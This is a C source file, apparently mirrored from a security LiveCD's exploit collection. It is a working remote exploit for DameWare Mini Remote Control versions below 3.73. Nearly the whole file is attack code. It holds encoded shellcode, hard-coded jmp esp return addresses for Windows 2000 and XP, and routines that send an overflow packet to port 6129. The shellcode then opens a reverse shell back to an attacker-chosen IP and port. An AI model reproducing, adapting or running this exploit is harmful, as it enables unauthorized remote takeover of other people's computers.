home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / dameware / DameWare-MRC-Remote.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  301 lines

  1. /**************************************************************************************/
  2. /*     [Crpt] DameWare Mini Remote Control < v3.73 remote exploit by kralor [Crpt]    */
  3. /* -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -  */
  4. /* 8/10 win2k successfully exploited in blind mode (lang & type [pro,srv,etc] unknown) */
  5. /* tested against dameware versions: v3.68  v3.72                                     */
  6. /* In comments there's some information about offsets for jmp esp on diff OS.         */
  7. /* I've fixed a problem in the shellc0de, when I check for kernel32.dll, on winXP it  */
  8. /* is kernel32.dll, but on win2k it is KERNEL32.DLL (both in unicode format)          */
  9. /* shellc0de is a bit long for this b0f, so ExitThread won't be called, but it is in  */
  10. /* the shellcode.Some people reported me 2 different offsets for winXP pro, home, sp0 */
  11. /* or sp1, so I don't know why it's different and I haven't XP at home I can't find   */
  12. /* another better EIP for XP (hope this 2 offsets will be enough).                    */
  13. /* greetz: MrNice,AnAc,TripaX & Decryptus for helping me to find the EIP values.      */
  14. /*....................................................................................*/
  15. /* informations: kralor[at]coromputer.net,www.coromputer.net,irc undernet #coromputer */
  16. /**************************************************************************************/
  17.  
  18. #include <winsock.h>
  19. #include <windows.h>
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22.  
  23. #pragma comment (lib,"ws2_32")
  24.  
  25. /*
  26. 0x717564B8   jmp esp in comctl32.dll
  27. win2k fr adv srv sp2
  28. win2k en adv srv sp3
  29. win2k en adv srv sp4
  30. win2k en srv     sp3
  31. win2k fr pro     sp3
  32. win2k en pro     sp4
  33.  
  34. // jmp esp @ 0x77E7898B | win2k fr adv srv sp 1
  35. // jmp esp @ 0x717564B8 | Win2k fr adv srv sp2 & Win2k en srv sp3 & Win2k en adv srv sp4 & win2k fr pro sp3
  36. // jmp esp @ 0x7751A3AB | Win2k fr adv srv sp2 Win2k fr adv srv sp3 & Win2k fr pro sp3
  37.  
  38. /*
  39. #define RET_WIN2K_SP0 0x717564B8
  40. #define RET_WIN2K_SP1 0x717564B8
  41. #define RET_WIN2K_SP2 0x717564B8
  42. #define RET_WIN2K_SP3 0x717564B8
  43. #define RET_WIN2K_SP4 0x717564B8
  44. #define RET_WINXP_SP0 0x7776FE1F
  45. #define RET_WINXP_SP1 0x7776FE1F
  46. */
  47.  
  48. #define RET    "\xB8\x64\x75\x71"
  49. #define RET_XP "\x07\xD5\x36\x77"
  50. // or #define RET_XP "\xC1\x1C\x35\x77" // this offset has been reported by many people
  51.  
  52. #define PORT 6129
  53. #define SIZEOF 4096
  54. #define WINUSER "h4x0r"
  55. #define WINHOST "l33t_home"
  56. #define USERPROFILE_NAME "script kiddie"
  57. #define USERPROFILE_COMPANY "g33k solutions."
  58. #define USERPROFILE_LICENSE "11111-OEM-0001111-11111"
  59. #define USERPROFILE_DATE "12/24/03 00:00:00"
  60. #define INTERFACE_IP "192.168.1.1,192.168.1.2"
  61. #define WINDOMAIN "l33t_d0m41n"
  62. #define CLIENT_VERSION "3.72.0.0"
  63.  
  64. /*
  65. void print_packet(char *buffer, int begin, int end)
  66. {
  67.         int i,j;
  68.         char ascii[9];
  69.  
  70.         for(i=begin,j=0;i<end;i++,j++) {
  71.                 if(i%10==0) {
  72.                         printf("\r\n%04d: ",i);
  73.                         j=0;
  74.                 memset(ascii,0,sizeof(ascii));
  75.                 }
  76.         printf("0x%02x ",(unsigned char)buffer[i]);
  77.         if(i%10==9) {
  78.                 ascii[10]=0x00;
  79.                 printf("%s",ascii);
  80.                 }
  81.         if(!isprint(buffer[i]))
  82.                 ascii[j]='.';
  83.         else
  84.                 ascii[j]=buffer[i];
  85.         }
  86.         printf("%s\r\n",ascii);
  87.         return;
  88. }
  89. */
  90.  
  91. int cnx(char *host)
  92. {
  93.         int sock;
  94.         struct sockaddr_in yeah;
  95.         struct hostent *she;
  96.  
  97.         sock=socket(AF_INET,SOCK_STREAM,0);
  98.         if(!sock) {
  99.                 printf("error: unable to create socket\r\n");
  100.                 return 0;
  101.                 }
  102.         yeah.sin_family=AF_INET;
  103.         yeah.sin_addr.s_addr=inet_addr(host);
  104.         yeah.sin_port=htons(PORT);
  105.  
  106. if((she=gethostbyname(host))!=NULL) {
  107.         memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
  108.         } else {
  109.         if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
  110.                 printf("error: cannot resolve host\r\n");
  111.                 return 0;
  112.                 }
  113.         }
  114.         printf("[+] Connecting to %-30s ...",host);
  115.         if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  116.                 printf("error: connection refused\r\n");
  117.                 return 0;
  118.                 }
  119.         printf("Done\r\n");
  120.         return sock;
  121. }
  122.  
  123. void set_sc(int os, int sp, char *rhost, int rport, char *shellc0de)
  124. {
  125.         unsigned int ip=0;
  126.         unsigned short port=0;
  127.         char *port_to_shell="",*ip1="";
  128.  
  129.         ip = inet_addr(rhost); ip1 = (char*)&ip;
  130.         shellc0de[325]=ip1[0]^0x95;shellc0de[326]=ip1[1]^0x95;
  131.         shellc0de[327]=ip1[2]^0x95; shellc0de[328]=ip1[3]^0x95;
  132.  
  133.         port = htons(rport);
  134.         port_to_shell = (char *) &port;
  135.         shellc0de[319]=port_to_shell[0]^0x95;
  136.         shellc0de[320]=port_to_shell[1]^0x95;
  137.  
  138. switch(os)
  139. {
  140. case 0: // win2k
  141. /*
  142.         switch(sp)
  143.         {
  144.         case 0:
  145.                 *(long*)&shellc0de[0]=RET_WIN2K_SP0;
  146.                 break;
  147.         case 1:
  148.                 *(long*)&shellc0de[0]=RET_WIN2K_SP1;
  149.                 break;
  150.         case 2:
  151.                 *(long*)&shellc0de[0]=RET_WIN2K_SP2;
  152.                 break;
  153.         case 3:
  154.                 *(long*)&shellc0de[0]=RET_WIN2K_SP3;
  155.                 break;
  156.         case 4:
  157.                 *(long*)&shellc0de[0]=RET_WIN2K_SP4;
  158.                 break;
  159.         }
  160. */
  161.         break;
  162. case 1: // winXP
  163.         shellc0de[167]=shellc0de[215]=(unsigned char)0xfe;
  164.         shellc0de[345]=shellc0de[453]=(unsigned char)0xfe;
  165. /*
  166.         switch(sp)
  167.         {
  168.         case 0:
  169.                 *(long*)&shellc0de[0]=RET_WINXP_SP0;
  170.                 break;
  171.         case 1:
  172.                 *(long*)&shellc0de[0]=RET_WINXP_SP1;
  173.                 break;
  174.         }
  175. */
  176.         break;
  177.         }
  178.         return;
  179. }
  180.  
  181. int start_auth(int sock, char *rhost, int rport)
  182. {
  183.         int size,i=4,os,sp;
  184.         char buffer[SIZEOF];
  185.         char shellc0de[] =
  186.         "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef"
  187.         "\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xba\x01\x80\x33\x95"
  188.         "\x43\xe2\xfa\x7e\xfa\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e"
  189.         "\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad"
  190.         "\x8b\xe0\xdd\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d"
  191.         "\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96"
  192.         "\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3"
  193.         "\xae\xe1\xb1\x8d\xe1\x93\xde\xb6\x4e\xe0\x7f\x56\xca\xa6\x5c\xf3"
  194.         "\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e\x8d\x1e\x56\xae"
  195.         "\x54\xe0\x34\x56\x16\x79\xd5\x1e\x79\x14\x79\xb5\x97\x95\x95\xfd"
  196.         "\xec\xd0\xed\xd4\xff\x9f\xff\xde\xff\x95\x7d\xe3\x6a\x6a\x6a\xa6"
  197.         "\x5c\x52\xd0\x69\xe2\xe6\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8"
  198.         "\x97\x1e\x48\xf3\x16\x7e\x91\xc4\xc4\xc6\x6a\x45\x1c\xd0\x91\xfd"
  199.         "\xe7\xf0\xe6\xe6\xff\x9f\xff\xde\xff\x95\x7d\xd3\x6a\x6a\x6a\x1e"
  200.         "\xc8\x91\x1c\xc8\x12\x1c\xd0\x02\x52\xd0\x69\xc2\xc6\xd4\xc6\x52"
  201.         "\xd0\x95\xfa\xf6\xfe\xf0\x52\xd0\x91\xe1\xd4\x95\x95\x1e\x58\xf3"
  202.         "\x16\x7c\x91\xc4\xc6\x6a\x45\xa6\x4e\xc6\xc6\xc6\xc6\xff\x94\xff"
  203.         "\x97\x6a\x45\x1c\xd0\x31\x52\xd0\x69\xf6\xfa\xfb\xfb\x52\xd0\x95"
  204.         "\xf0\xf6\xe1\x95\x1e\x58\xf3\x16\x7c\x91\xc4\x6a\xe0\x12\x6a\xc0"
  205.         "\x02\xa6\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97\x97"
  206.         "\x0f\x96\x46\x52\x97\x55\x3d\x94\x94\xff\x85\xc0\x6a\xe0\x31\x6a"
  207.         "\x45\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xff\x95\x7d\x51\x6b\x6a"
  208.         "\x6a\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d"
  209.         "\x1c\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52"
  210.         "\xd0\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xd8\x31\x1c"
  211.         "\xd8\x71\x1c\xd8\x7d\x1c\xd8\x79\x18\xd8\x65\xc4\x18\xd8\x39\xc4"
  212.         "\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52\xd0"
  213.         "\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xfd\xed\xfc"
  214.         "\xe1\xc1\xff\x94\xff\xde\xff\x95\x7d\xcd\x6b\x6a\x6a\x6a";
  215.  
  216.         size=recv(sock,buffer,SIZEOF,0);
  217.         if(buffer[0]!=0x30||buffer[1]!=0x11) {
  218.                 printf("error: wrong data received\r\n");
  219.                 return -1;
  220.                 }
  221.         buffer[28]=0x00;buffer[36]=0x01;
  222.         send(sock,buffer,size,0);
  223.         memset(buffer,0,SIZEOF);
  224.         printf("[+] Gathering %-30s     ...","information");
  225.         for(size=0;size<4096;size+=recv(sock,&buffer[size],SIZEOF,0));
  226.  
  227.         if(buffer[0]!=0x10||buffer[1]!=0x27) {
  228.                 printf("error: wrong data received\r\n");
  229.                 return -1;
  230.         }
  231.         printf("Done\r\n");
  232.         sp=(unsigned int)buffer[37];
  233.         printf("[i] Operating system : ");
  234.         if(buffer[16]==0x28||buffer[17]==0x0a) {
  235.         os=1;
  236.         printf("WinXP");
  237.         } else {
  238.                 printf("Win2000");
  239.                 os=0;
  240.         }
  241.         printf("\r\n[i] Service Pack     : %s\r\n",&buffer[37]);
  242.         printf("[+] Setting shellc0de for this %-15s   ...","version");
  243.         set_sc(os,sp,rhost,rport,shellc0de);
  244.  
  245.         memset(&buffer[2],0,SIZEOF-2);
  246.         strcpy(&buffer[175],WINUSER);
  247.         memset(&buffer[416],0x90,180);
  248. if(os==0)
  249.         memcpy(&buffer[516],RET,4);
  250. else
  251.         memcpy(&buffer[516],RET_XP,4);
  252.         memcpy(&buffer[520],shellc0de,sizeof(shellc0de));
  253.         strcpy(&buffer[1200],WINHOST);strcpy(&buffer[975],USERPROFILE_NAME);
  254.         strcpy(&buffer[1295],USERPROFILE_COMPANY);strcpy(&buffer[1495],USERPROFILE_LICENSE);
  255.         strcpy(&buffer[1755],USERPROFILE_DATE);strcpy(&buffer[2015],WINHOST);
  256.         strcpy(&buffer[2275],INTERFACE_IP);strcpy(&buffer[2535],WINDOMAIN);
  257.         strcpy(&buffer[2795],CLIENT_VERSION);
  258.         printf("Done\r\n");
  259.         printf("[+] Sending evil %-30s  ...","packet");
  260.         send(sock,buffer,SIZEOF,0);
  261.         memset(buffer,0,SIZEOF);
  262.         size=recv(sock,buffer,SIZEOF,0);
  263.  
  264.         if(buffer[0]!=0x32||buffer[1]!=0x11) {
  265.                 printf("Patched\r\n");
  266.                 return -1;
  267.         }
  268.         printf("Done\r\n");
  269.         printf("[i] Shell should be arrived at %s:%d\r\n",rhost,rport);
  270.         return 0;
  271. }
  272.  
  273. void banner(void)
  274. {
  275.         printf("\r\n      [Crpt] DameWare Mini Remote Control < v3.73 remote exploit by kralor [Crpt]\r\n");
  276.         printf("\t\t  www.coromputer.net && undernet #coromputer\r\n\r\n");
  277.         return;
  278. }
  279.  
  280. int main(int argc, char *argv[])
  281. {
  282.         WSADATA wsaData;
  283.         int sock;
  284.  
  285.         banner();
  286.         if(argc!=4) {
  287.                 printf("syntax: %s <host> <your_ip> <your_port>\r\n",argv[0]);
  288.                 return -1;
  289.         }
  290. if(WSAStartup(0x0101,&wsaData)!=0) {
  291.         printf("error: unable to load winsock\r\n");
  292.         return -1;
  293.         }
  294.         sock=cnx(argv[1]);
  295. if(!sock)
  296.         return -1;
  297.         start_auth(sock,argv[2],atoi(argv[3]));
  298.         return 0;
  299. }
  300.  
  301.